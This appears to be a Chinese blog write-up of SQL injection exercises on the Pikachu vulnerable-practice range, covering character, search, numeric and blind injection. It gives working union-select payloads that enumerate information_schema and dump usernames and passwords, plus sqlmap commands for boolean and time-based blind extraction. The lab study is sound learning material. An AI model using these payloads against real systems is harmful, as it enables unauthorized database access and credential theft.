这几天做了一个靶机里面有关于SQL注入漏洞,想着把SQL注入漏洞写一下,方便自己跟大家查看
什么是SQL注入漏洞
注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。
它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。
攻击者可以使用SQL注入漏洞绕过应用程序安全措施;
可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;
还可以使用SQL注入来添加,修改和删除数据库中的记录。
SQL注入漏洞分类、以及基本测试流程。
一.字符型注入
1.通过单引号或者and方法测试是否有注入
kobe' 系统会报错
kobe' and 1=1# 正确
kobe' and 1=2# 错误
2.猜解一下sql语句模板的列数
kobe' order by 2# 正确
kobe' order by 3# 报错
证明SQL语句可以查询两列
3.测试回显位置
kobe' union select 1,2#
4.读取数据库数据
4.1 获取当前数据库名称和数据库版本
kobe' union select version(),database()#
5.5.53 版本
数据库名称 pikachu
4.2 获取表名称
kobe1' union select group_concat(table_name),'aaaa' from information_schema.tables where table_schema = 'pikachu'#
httpinfo,member,message,users,xssblind
4.3 对感兴趣的表,获取列名称
member
kobe1' union select group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'member'#
id,username,pw,sex,phonenum,address,email
4.4 获取账号密码数据
kobe1' union select group_concat(username),group_concat(pw) from pikachu.member#
二.盲注型注入(base on time)
1.第一步:抓包,并在注入点插入*标注
2.第二步:连接虚拟机、Xshell和kali,更改设置用本地IP进行pikachu的访问。
3.1第三步:将抓包获取的文件放入Xshell中方便语句的输入执行
3.2根据二分法盲猜测数据库长度、数据库名和表名
3.2对注入点进行探测,查看是否插入成功
3.3利用sqlmap进行基于时间的盲注(利用命令T进行盲注)
4.利用sqlmap语句进行表名的获取、内容的获取
三.盲注型注入(base on boolian)
1.第一步,利用burpsuit抓包,将抓取的内容放在txt文件中并创建txt文件用于插入注入点
2.第二步,爆出数据库名称,并利用length()猜测数据库名
执行语句:
Sqlmap -r 999.txt --technique=B --dbms=mysql --string='恭喜'
3、爆出数据库中的表、以及表中的列
执行语句1:
sqlmap -r 999.txt --technique=B --dbms=mysql --string='恭喜' -D pikachu --tables
执行语句2:
sqlmap -r 999.txt --technique=B --dbms=mysql --string='恭喜' -D pikachu -T users --columns
3.爆密码和用户名
执行语句:
sqlmap -r 999.txt --technique=B --dbms=mysql --string='恭喜' -D pikachu -T users -C username, password -dump
四.搜索型注入
1.第一步,通过单引号或者and方法测试是否有注入
kobe and 1=1 正确 kobe and 1=2 错误
注意:搜索型闭合符号与字符型不同。
搜索行的闭合回路语句是:
k%' and 1=1#
2.猜解一下sql语句模板的列数
k%' order by 3#
k%' order by 4#
当输入k%' order by 4#
会显示报错,所以在此搜索库中最多有三列
3.测试回显位置
k%' union select 1,2#
4.读取数据库数据
k%' union select 1,version(),database()#
5, 获取表名称
k%' union select group_concat(table_name),'aaaa','cc'from information_schema.tables where table_schema = 'pikachu'#
6, 对感兴趣的表,获取列名称
kobe%' union select "ccc",group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'member'#
7, 获取账号密码数据
kobe%' union select group_concat(username),group_concat(pw),"aaa" from pikachu.member#
五.数字型注入
首先对源码分析:
前端获取的变量id未做任何处理,直接拼接到select语句中进行查询,形成sql注入。
打开pikachu的数字注入型,确认输入点是否存在注入,随便提交一个数
并进行抓包将抓到的数据包发送到repeat中,做测试。输入or 1=1,点击提交。发现用户的所有数据,说明在id=1处存在注入漏洞。
查询数据库的列数,输入order by 3报错
重新构造pyload ,输入order by 2,成功爆出当前查询数据库的列数
重新构造pyload,查看当前版本和数据库名称
重新构造pyload,获取表的名称
重新构造pyload,对感兴趣的表,获取列名称
获取账号和密码
member
union select group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'member'
4 测试结果
经过盲注型渗透,进行数据的猜测获取。注意:每种类型的注入符号都有所不同,需要反复尝试,来得到注入的符号。